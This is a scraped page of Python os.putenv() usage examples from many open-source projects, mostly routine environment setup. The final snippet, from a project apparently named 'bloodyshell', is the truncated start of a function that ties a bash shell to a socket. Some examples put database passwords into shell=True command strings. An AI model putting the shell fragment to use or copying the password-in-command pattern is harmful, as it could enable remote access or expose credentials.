Python os.putenv() Examples

The following are code examples for showing how to use os.putenv(). They are extracted from open source Python projects. You can vote up the examples you like or vote down the ones you don't like. You can also save this page to your account.

Example 1
Project: core-framework   Author: RedhawkSDR   File: device.py    (license) View Source Project 6 votes vote down vote up
def _prependToEnvVar(self, newVal, envVar):
        path = self._getEnvVarAsList(envVar)
        foundValue = False
        for entry in path:
            # Search to determine if the new value is already in the path
            try:
                if os.path.samefile(entry, newVal):
                    # The value is already in the path
                    foundValue = True
                    break
            except OSError:
                # If we can't find concrete files to compare, fall back to string compare
                if entry == newVal:
                    # The value is already in the path
                    foundValue = True
                    break

        if not foundValue:
            # The value does not already exist
            if os.environ.has_key(envVar):
                newpath = newVal+os.path.pathsep + os.getenv(envVar)+os.path.pathsep
            else:
                newpath = newVal+os.path.pathsep
            os.putenv(envVar, newpath)
            os.environ[envVar] = newpath 
Example 2
Project: senf   Author: quodlibet   File: _environ.py    (MIT License) View Source Project 6 votes vote down vote up
def __setitem__(self, key, value):
        key = _norm_key(path2fsn(key))
        value = path2fsn(value)

        if is_win and PY2:
            # this calls putenv, so do it first and replace later
            try:
                os.environ[_fsn2legacy(key)] = _fsn2legacy(value)
            except OSError:
                raise ValueError

            try:
                set_windows_env_var(key, value)
            except WindowsError:
                # py3+win fails for invalid keys. try to do the same
                raise ValueError
        try:
            self._env[key] = value
        except OSError:
            raise ValueError 
Example 3
Project: stacker   Author: bamine   File: optimizers_test.py    (license) View Source Project 6 votes vote down vote up
def setUp(self):
        os.putenv("KMP_DUPLICATE_LIB_OK", "TRUE")
        self.X_class, self.y_class = datasets.make_classification(random_state=42)
        self.X_reg, self.y_reg = datasets.make_regression(random_state=42)
        self.classification_optimizers = [XGBoostOptimizer, RandomForestOptimizer]
        self.regression_optimizers = [XGBoostOptimizer, RandomForestOptimizer]
        self.class_scorer = Scorer("auc_error", lambda y_pred, y_true: 1 - metrics.roc_auc_score(y_pred, y_true))
        self.reg_scorer = Scorer("mse", metrics.mean_squared_error)

        self.classification_task_split = \
            Task("class_split", self.X_class, self.y_class, "classification", test_size=0.1, random_state=42)
        self.regression_task_split = \
            Task("reg_split", self.X_class, self.y_class, "regression", test_size=0.1, random_state=42)

        self.classification_task_cv = \
            Task("class_cv", self.X_reg, self.y_reg, "classification", cv=5, random_state=42)
        self.regression_task_cv = \
            Task("reg_cv", self.X_reg, self.y_reg, "regression", cv=5, random_state=42) 
Example 4
Project: scarlett_os   Author: bossjones   File: debugger.py    (license) View Source Project 6 votes vote down vote up
def set_gst_grapviz_tracing(enabled=True):
    if enabled:
        os.environ[
            "GST_DEBUG_DUMP_DOT_DIR"] = "/home/pi/dev/bossjones-github/scarlett_os/_debug"  # noqa
        os.putenv('GST_DEBUG_DUMP_DIR_DIR',
                  '/home/pi/dev/bossjones-github/scarlett_os/_debug')
    else:
        if os.environ.get('GST_DEBUG_DUMP_DOT_DIR'):
            del os.environ['GST_DEBUG_DUMP_DOT_DIR']


# source: http://pyrasite.readthedocs.io/en/latest/Payloads.html
# def create_call_graph():
#     import pycallgraph
#     pycallgraph.start_trace()
#     pycallgraph.make_dot_graph('callgraph.png') 
Example 5
Project: Python_Study   Author: thsheep   File: pyinstaller?????.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 6
Project: aws-sudo   Author: voytek-solutions   File: __init__.py    (license) View Source Project 6 votes vote down vote up
def proxy_command(command, command_args, credentials):
    # Unset variables for sanity sake
    os.unsetenv('AWS_DEFAULT_PROFILE')
    os.unsetenv('AWS_PROFILE')
    os.unsetenv('AWS_ACCESS_KEY_ID')
    os.unsetenv('AWS_SECRET_ACCESS_KEY')
    os.unsetenv('AWS_SESSION_TOKEN')
    os.unsetenv('AWS_SECURITY_TOKEN')

    # Set AWS/Boto environemnt variables before executing target command
    os.putenv('AWS_ACCESS_KEY_ID', (credentials['AccessKeyId']))
    os.putenv('AWS_SECRET_ACCESS_KEY', (credentials['SecretAccessKey']))
    os.putenv('AWS_SESSION_TOKEN', (credentials['SessionToken']))
    os.putenv('AWS_SECURITY_TOKEN', (credentials['SessionToken']))

    command_status = os.system(command + " " + " ".join(command_args))
    exit(os.WEXITSTATUS(command_status)) 
Example 7
Project: aws-sudo   Author: voytek-solutions   File: __init__.py    (license) View Source Project 6 votes vote down vote up
def get_session(profile_config):
    session_profile = profile_config['profile_name']

    if 'source_profile' in profile_config:
        session_profile = profile_config['source_profile']

    if 'region' in profile_config:
        os.putenv('AWS_DEFAULT_REGION', profile_config['region'])
        os.putenv('AWS_REGION', profile_config['region'])

    # Create a session using profile or EC2 Instance Role
    # To use Instance Role set `source_profile` to empty string in aws profile
    # configuration file
    session = boto3.Session(profile_name=session_profile)

    return session 
Example 8
Project: CSB   Author: csb-toolbox   File: buildhmm.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, query, target_id, database, tk_root, tk_config, pseudo=True, ss=True, cpu=1):
        
        self.tk_root = tk_root
        self.tk_config = tk_config
        self.hhlib = os.path.join(tk_root, "bioprogs", "hhsuite")
        
        if 'TK_ROOT' not in os.environ or not os.environ['TK_ROOT']:
            os.putenv('TK_ROOT', self.tk_root)
        if 'HHLIB' not in os.environ or not os.environ['HHLIB']:
            os.putenv('HHLIB', self.hhlib)
        os.environ["PATH"] += os.pathsep + os.path.join(self.hhlib, "bin")
                                
        self.query = query
        self.accession = target_id[:-1]
        self.chain = target_id[-1]
        self.database = database
        self.pseudo = bool(pseudo)
        self.ss = bool(ss)
        self.cpu = cpu
        
        self._input = None
        self._a3m = None
        self._hhm = None
        
        self.configure_input() 
Example 9
Project: TTPassGen   Author: tp7309   File: ttpassgen.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 10
Project: driveboardapp   Author: nortd   File: pyi_multiprocess_pool.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 11
Project: driveboardapp   Author: nortd   File: pyi_multiprocess_forking.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
        if hasattr(sys, 'frozen'):
            # We have to set original _MEIPASS2 value from sys._MEIPASS
            # to get --onefile mode working.
            # Last character is stripped in C-loader. We have to add
            # '/' or '\\' at the end.
            os.putenv('_MEIPASS2', sys._MEIPASS + os.sep)
        try:
            super(_Popen, self).__init__(*args, **kw)
        finally:
            if hasattr(sys, 'frozen'):
                # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                # available. In those cases we cannot delete the variable
                # but only set it to the empty string. The bootloader
                # can handle this case.
                if hasattr(os, 'unsetenv'):
                    os.unsetenv('_MEIPASS2')
                else:
                    os.putenv('_MEIPASS2', '') 
Example 12
Project: PancakeViewer   Author: forensicmatt   File: pancakeViewerApp.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 13
Project: QGIS-applications   Author: liaduarte   File: GdalTools_utils.py    (license) View Source Project 6 votes vote down vote up
def setProcessEnvironment(process):
    envvar_list = {
        "PATH" : getGdalBinPath(),
        "PYTHONPATH" : getGdalPymodPath(),
        "GDAL_FILENAME_IS_UTF8" : "NO"
    }

    sep = os.pathsep

    for name, val in envvar_list.iteritems():
      if val == None or val == "":
        continue

      envval = os.getenv(name)
      if envval == None or envval == "":
        envval = str(val)
      elif (platform.system() == "Windows" and val.lower() not in envval.lower().split( sep )) or \
          (platform.system() != "Windows" and val not in envval.split( sep )):
        envval += "%s%s" % (sep, str(val))
      else:
        envval = None

      if envval != None:
        os.putenv( name, envval ) 
Example 14
Project: cryptoluggage   Author: miguelinux314   File: pypdfocr_multiprocessing.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
        if hasattr(sys, 'frozen'):
            # We have to set original _MEIPASS2 value from sys._MEIPASS
            # to get --onefile mode working.
            os.putenv('_MEIPASS2', sys._MEIPASS)
        try:
            super(_Popen, self).__init__(*args, **kw)
        finally:
            if hasattr(sys, 'frozen'):
                # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                # available. In those cases we cannot delete the variable
                # but only set it to the empty string. The bootloader
                # can handle this case.
                if hasattr(os, 'unsetenv'):
                    os.unsetenv('_MEIPASS2')
                else:
                    os.putenv('_MEIPASS2', '') 
Example 15
Project: unist_bb_downloader   Author: kcm4482   File: bb_downloader_func.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 16
Project: MaruCrawler   Author: KiririnLover   File: MaruCrawler.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 17
Project: EventMonkey   Author: devgc   File: EventMonkey.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 18
Project: stakkr   Author: edyan   File: stakkr_compose.py    (license) View Source Project 6 votes vote down vote up
def cli(config: str, command):
    """Command line entry point"""

    main_config = get_main_config(config)
    set_env_values_from_conf(main_config)

    project_name = main_config.get('project_name')
    os.putenv('COMPOSE_PROJECT_NAME', project_name)

    # What to load
    compose_file = package_utils.get_file('static', 'docker-compose.yml')
    activated_services = get_enabled_services(main_config.get('services'))

    # Create the command
    services = []
    for service in activated_services:
        services.append('-f')
        services.append(service)

    base_cmd = ['docker-compose', '-f', compose_file] + services + ['-p', project_name]

    msg = click.style('[VERBOSE] ', fg='green')
    msg += 'Compose command: ' + ' '.join(base_cmd + list(command))
    click.echo(msg, err=True)
    subprocess.call(base_cmd + list(command)) 
Example 19
Project: nRF5-multi-prog   Author: NordicPlayground   File: nrf5_multi_prog.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 20
Project: stash-scanner   Author: senuido   File: StashHelper.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 21
Project: Enhance-GoodReads-Export   Author: PaulKlinger   File: enhance_goodreads_export_gui.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
        if hasattr(sys, 'frozen'):
            # We have to set original _MEIPASS2 value from sys._MEIPASS
            # to get --onefile mode working.
            os.putenv('_MEIPASS2', sys._MEIPASS)
        try:
            super(_Popen, self).__init__(*args, **kw)
        finally:
            if hasattr(sys, 'frozen'):
                # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                # available. In those cases we cannot delete the variable
                # but only set it to the empty string. The bootloader
                # can handle this case.
                if hasattr(os, 'unsetenv'):
                    os.unsetenv('_MEIPASS2')
                else:
                    os.putenv('_MEIPASS2', '')


# Second override 'Popen' class with our modified version. 
Example 22
Project: mac-package-build   Author: persepolisdm   File: pyi_multiprocess_pool.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 23
Project: mac-package-build   Author: persepolisdm   File: pyi_multiprocess_forking.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
        if hasattr(sys, 'frozen'):
            # We have to set original _MEIPASS2 value from sys._MEIPASS
            # to get --onefile mode working.
            # Last character is stripped in C-loader. We have to add
            # '/' or '\\' at the end.
            os.putenv('_MEIPASS2', sys._MEIPASS + os.sep)
        try:
            super(_Popen, self).__init__(*args, **kw)
        finally:
            if hasattr(sys, 'frozen'):
                # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                # available. In those cases we cannot delete the variable
                # but only set it to the empty string. The bootloader
                # can handle this case.
                if hasattr(os, 'unsetenv'):
                    os.unsetenv('_MEIPASS2')
                else:
                    os.putenv('_MEIPASS2', '') 
Example 24
Project: shadowsocks-pyqt   Author: falseen   File: main.py    (license) View Source Project 6 votes vote down vote up
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version. 
Example 25
Project: pyweather   Author: rbischoff   File: display.py    (license) View Source Project 6 votes vote down vote up
def __get_driver(self):
        has_driver = False
        for driver in self._drivers:
            if not os.getenv('SDL_VIDEODRIVER'):
                os.putenv('SDL_VIDEODRIVER', driver)
            try:
                pygame.display.init()
            except pygame.error:
                print('Driver: {} not loaded.'.format(driver))
                continue
            print('Driver: {} used.'.format(driver))
            has_driver = True
            break

        if not has_driver:
            raise AssertionError('No video driver available for use!') 
Example 26
Project: picraftzero   Author: WayneKeenan   File: joystick.py    (license) View Source Project 6 votes vote down vote up
def _setup_video():
        "Ininitializes a new pygame screen using the framebuffer"
        # Based on "Python GUI in Linux frame buffer"
        # http://www.karoltomala.com/blog/?p=679
        disp_no = os.getenv("DISPLAY")

        # Check which frame buffer drivers are available
        # Start with fbcon since directfb hangs with composite output
        drivers = ['x11', 'fbcon', 'directfb', 'svgalib', 'Quartz']
        found = False
        for driver in drivers:
            # Make sure that SDL_VIDEODRIVER is set
            if not os.getenv('SDL_VIDEODRIVER'):
                os.putenv('SDL_VIDEODRIVER', driver)
            try:
                pygame.display.init()
            except pygame.error:
                logger.error('Driver: {0} failed.'.format(driver))
                continue
            found = True
            break

        if not found:
            logger.error('No suitable SDL video driver found to start the event subsystem, pygame joysticks may not work.') 
Example 27
Project: core-framework   Author: RedhawkSDR   File: device.py    (license) View Source Project 5 votes vote down vote up
def set(self):
        os.putenv("LD_LIBRARY_PATH", self.ld_lib_path)
        os.putenv("PYTHONPATH", self.pythonpath)
        os.putenv("CLASSPATH", self.classpath)
        os.putenv("OCTAVE_PATH", self.octave_path)
        os.environ["LD_LIBRARY_PATH"] = self.ld_lib_path
        os.environ["PYTHONPATH"] = self.pythonpath
        os.environ["CLASSPATH"] = self.classpath
        os.environ["OCTAVE_PATH"] = self.octave_path 
Example 28
Project: core-framework   Author: RedhawkSDR   File: device.py    (license) View Source Project 5 votes vote down vote up
def __exit__(self,exc_type,exc_value,traceback):
        os.putenv("LD_LIBRARY_PATH", self.ld_lib_path)
        os.putenv("PYTHONPATH", self.pythonpath)
        os.putenv("CLASSPATH", self.classpath)
        os.putenv("OCTAVE_PATH", self.octave_path)
        os.environ["LD_LIBRARY_PATH"] = self.ld_lib_path
        os.environ["PYTHONPATH"] = self.pythonpath
        os.environ["CLASSPATH"] = self.classpath
        os.environ["OCTAVE_PATH"] = self.octave_path 
Example 29
Project: senf   Author: quodlibet   File: _environ.py    (MIT License) View Source Project 5 votes vote down vote up
def putenv(key, value):
    """Like `os.putenv` but takes unicode under Windows + Python 2

    Args:
        key (pathlike): The env var to get
        value (pathlike): The value to set
    Raises:
        ValueError
    """

    key = path2fsn(key)
    value = path2fsn(value)

    if is_win and PY2:
        try:
            set_windows_env_var(key, value)
        except WindowsError:
            # py3 + win fails here
            raise ValueError
    else:
        try:
            os.putenv(key, value)
        except OSError:
            # win + py3 raise here for invalid keys which is probably a bug.
            # ValueError seems better
            raise ValueError 
Example 30
Project: n1mm_view   Author: n1kdo   File: graphics.py    (BSD 2-Clause "Simplified" License) View Source Project 5 votes vote down vote up
def init_display():
    """
    set up the pygame display, full screen
    """

    # Check which frame buffer drivers are available
    # Start with fbcon since directfb hangs with composite output
    drivers = ['fbcon', 'directfb', 'svgalib', 'directx', 'windib']
    found = False
    for driver in drivers:
        # Make sure that SDL_VIDEODRIVER is set
        if not os.getenv('SDL_VIDEODRIVER'):
            os.putenv('SDL_VIDEODRIVER', driver)
        try:
            pygame.display.init()
        except pygame.error:
            #  logging.warn('Driver: %s failed.' % driver)
            continue
        found = True
        logging.debug('using %s driver', driver)
        break

    if not found:
        raise Exception('No suitable video driver found!')

    size = (pygame.display.Info().current_w, pygame.display.Info().current_h)
    pygame.mouse.set_visible(0)
    if driver != 'directx':  # debugging hack runs in a window on Windows
        screen = pygame.display.set_mode(size, pygame.FULLSCREEN)
    else:
        logging.info('running in windowed mode')
        # set window origin for windowed usage
        os.putenv('SDL_VIDEO_WINDOW_POS', '0,0')
        # size = (size[0]-10, size[1] - 30)
        screen = pygame.display.set_mode(size, pygame.NOFRAME)

    logging.debug('display size: %d x %d', size[0], size[1])
    # Clear the screen to start
    screen.fill(BLACK)
    return screen, size 
Example 31
Project: mqtt-control-panel   Author: colinodell   File: ui.py    (license) View Source Project 5 votes vote down vote up
def __init__(self, background = None):
        # Init framebuffer/touchscreen environment variables
        os.putenv('SDL_VIDEODRIVER', 'fbcon')
        os.putenv('SDL_FBDEV', '/dev/fb1')
        os.putenv('SDL_MOUSEDRV', 'TSLIB')
        os.putenv('SDL_MOUSEDEV', '/dev/input/touchscreen')

        self._backlight_on = True
        self.on()

        # Init pygame and screen
        print "Initting..."
        pygame.init()
        print "Setting Mouse invisible..."
        pygame.mouse.set_visible(False)
        print "Setting fullscreen..."
        modes = pygame.display.list_modes(16)
        self._screen = pygame.display.set_mode(modes[0], pygame.FULLSCREEN, 16)
        self._needs_update = True

        # Load background
        self._background = pygame.image.load(background)
        self._screen.fill(0)
        self._screen.blit(self._background, (0, 0))
        pygame.display.update()

        # Load font
        self._font = pygame.font.SysFont("Arial", 24)

        self._images = []
        self._buttons = []
        self._status_lines = []

        self.update() 
Example 32
Project: stacker   Author: bamine   File: logger_test.py    (license) View Source Project 5 votes vote down vote up
def setUp(self):
        os.putenv("KMP_DUPLICATE_LIB_OK", "TRUE")
        self.engine = create_engine('sqlite:///test.db') 
Example 33
Project: pgantomizer   Author: asgeirrr   File: dump.py    (license) View Source Project 5 votes vote down vote up
def dump_db(dump_path, schema_path, password='', *db_args):
    schema = yaml.load(open(schema_path))
    password = password or os.environ.get('DB_DEFAULT_PASS', '')
    os.putenv('PGPASSWORD', password)
    cmd = 'PGPASSWORD={password} pg_dump -Fc -Z 9 {args} {tables} -f {filename}'.format(
        password=password,
        args='-d {} -U {} -h {} -p {} '.format(
            *(db_args or [os.environ.get(var) for var in ['DB_DEFAULT_NAME', 'DB_DEFAULT_USER',
                                                          'DB_DEFAULT_SERVICE', 'DB_DEFAULT_PORT']])),
        tables=' '.join('-t {}'.format(table) for table in schema),
        filename=dump_path
    )
    logging.debug('Dumping DB with following command: {}'.format(cmd))
    subprocess.run(cmd, shell=True) 
Example 34
Project: pgantomizer   Author: asgeirrr   File: anonymize.py    (license) View Source Project 5 votes vote down vote up
def load_db_to_new_instance(filename, db_args):
    if not os.path.isfile(filename):
        raise IOError('Dump file {} is not a file.'.format(filename))
    os.putenv('PGPASSWORD', db_args.get('password'))
    drop_schema(db_args)
    subprocess.run(
        'PGPASSWORD={password} pg_restore -Fc -j 8 {db_args} {filename} {redirect}'.format(
            password=db_args.get('password'),
            db_args=get_psql_db_args(db_args), filename=filename,
            redirect='' if logging.getLogger().getEffectiveLevel() == logging.DEBUG else '>/dev/null 2>&1'),
        shell=True
    ) 
Example 35
Project: browbeat   Author: openstack   File: tools.py    (license) View Source Project 5 votes vote down vote up
def gather_metadata(self):
        os.putenv("ANSIBLE_SSH_ARGS", " -F {}".format(self.config['ansible']['ssh_config']))

        ansible_cmd = \
            'ansible-playbook -i {} {}' \
            .format(self.config['ansible']['hosts'], self.config['ansible']['metadata_playbook'])
        self.run_cmd(ansible_cmd)
        if not self.check_metadata():
            self.logger.warning("Metadata could not be gathered")
            return False
        else:
            self.logger.info("Metadata about cloud has been gathered")
            return True 
Example 36
Project: zippy   Author: securesystemslab   File: test_subprocess.py    (license) View Source Project 5 votes vote down vote up
def test_preexec(self):
        # DISCLAIMER: Setting environment variables is *not* a good use
        # of a preexec_fn.  This is merely a test.
        p = subprocess.Popen([sys.executable, "-c",
                              'import sys,os;'
                              'sys.stdout.write(os.getenv("FRUIT"))'],
                             stdout=subprocess.PIPE,
                             preexec_fn=lambda: os.putenv("FRUIT", "apple"))
        self.addCleanup(p.stdout.close)
        self.assertEqual(p.stdout.read(), b"apple") 
Example 37
Project: oil   Author: oilshell   File: test_subprocess.py    (license) View Source Project 5 votes vote down vote up
def test_preexec(self):
        # preexec function
        p = subprocess.Popen([sys.executable, "-c",
                              "import sys, os;"
                              "sys.stdout.write(os.getenv('FRUIT'))"],
                             stdout=subprocess.PIPE,
                             preexec_fn=lambda: os.putenv("FRUIT", "apple"))
        self.addCleanup(p.stdout.close)
        self.assertEqual(p.stdout.read(), "apple") 
Example 38
Project: python2-tracer   Author: extremecoders-re   File: test_subprocess.py    (license) View Source Project 5 votes vote down vote up
def test_preexec(self):
        # preexec function
        p = subprocess.Popen([sys.executable, "-c",
                              "import sys, os;"
                              "sys.stdout.write(os.getenv('FRUIT'))"],
                             stdout=subprocess.PIPE,
                             preexec_fn=lambda: os.putenv("FRUIT", "apple"))
        self.addCleanup(p.stdout.close)
        self.assertEqual(p.stdout.read(), "apple") 
Example 39
Project: mock   Author: rpm-software-management   File: util.py    (license) View Source Project 5 votes vote down vote up
def condEnvironment(env=None):
    if not env:
        return
    os.environ.clear()
    for k in list(env.keys()):
        os.putenv(k, env[k]) 
Example 40
Project: solent   Author: solent-eng   File: curses_console.py    (license) View Source Project 5 votes vote down vote up
def screen_curses_init():
    #
    # number of milliseconds to wait after reading an escape character, to
    # distinguish between an individual escape character entered on the
    # keyboard from escape sequences sent by cursor and function keys (see
    # curses(3X).
    os.putenv("ESCDELAY", "0") # was 25
    #
    global STDSCR
    STDSCR = curses.initscr()
    curses.noecho()
    curses.cbreak()
    #
    if not curses.has_colors():
        raise Exception("Need colour support to run.")
    curses.raw()
    #
    curses.start_color()
    #
    # This is what allows us to use -1 for default when we initialise
    # the pairs
    curses.use_default_colors()
    #
    curses.init_pair(PROFILE_GREY       , curses.COLOR_WHITE    , -1)
    curses.init_pair(PROFILE_WHITE      , curses.COLOR_WHITE    , -1)
    curses.init_pair(PROFILE_RED        , curses.COLOR_RED      , -1)
    curses.init_pair(PROFILE_VERMILION  , curses.COLOR_RED      , -1)
    curses.init_pair(PROFILE_ORANGE     , curses.COLOR_RED      , -1)
    curses.init_pair(PROFILE_AMBER      , curses.COLOR_YELLOW   , -1)
    curses.init_pair(PROFILE_YELLOW     , curses.COLOR_YELLOW   , -1)
    curses.init_pair(PROFILE_CHARTREUSE , curses.COLOR_GREEN    , -1)
    curses.init_pair(PROFILE_GREEN      , curses.COLOR_GREEN    , -1)
    curses.init_pair(PROFILE_TEAL       , curses.COLOR_CYAN     , -1)
    curses.init_pair(PROFILE_BLUE       , curses.COLOR_BLUE     , -1)
    curses.init_pair(PROFILE_VIOLET     , curses.COLOR_MAGENTA  , -1)
    curses.init_pair(PROFILE_PURPLE     , curses.COLOR_MAGENTA  , -1)
    curses.init_pair(PROFILE_MAGENTA    , curses.COLOR_MAGENTA  , -1)
    curses.init_pair(PROFILE_BLACK_INFO , curses.COLOR_BLACK    , curses.COLOR_WHITE)
    curses.init_pair(PROFILE_ALARM,       curses.COLOR_RED      , curses.COLOR_WHITE) 
Example 41
Project: web_ctp   Author: molebot   File: test_subprocess.py    (license) View Source Project 5 votes vote down vote up
def test_preexec(self):
        # DISCLAIMER: Setting environment variables is *not* a good use
        # of a preexec_fn.  This is merely a test.
        p = subprocess.Popen([sys.executable, "-c",
                              'import sys,os;'
                              'sys.stdout.write(os.getenv("FRUIT"))'],
                             stdout=subprocess.PIPE,
                             preexec_fn=lambda: os.putenv("FRUIT", "apple"))
        self.addCleanup(p.stdout.close)
        self.assertEqual(p.stdout.read(), b"apple") 
Example 42
Project: bloodyshell   Author: deadPix3l   File: common.py    (license) View Source Project 5 votes vote down vote up
def ptyShell(action, sock):
    # #platformshells = {
    #     'win': 'cmd.exe',
    #     'mac': '/bin/bash',
    #     'nix': '/bin/bash',
    #     'unk': ''
    # }
    # shellExe = platformshells[plat]
    shellExe = '/bin/bash'

    #preparing
    oldin = os.dup(0)
    oldout = os.dup(1)
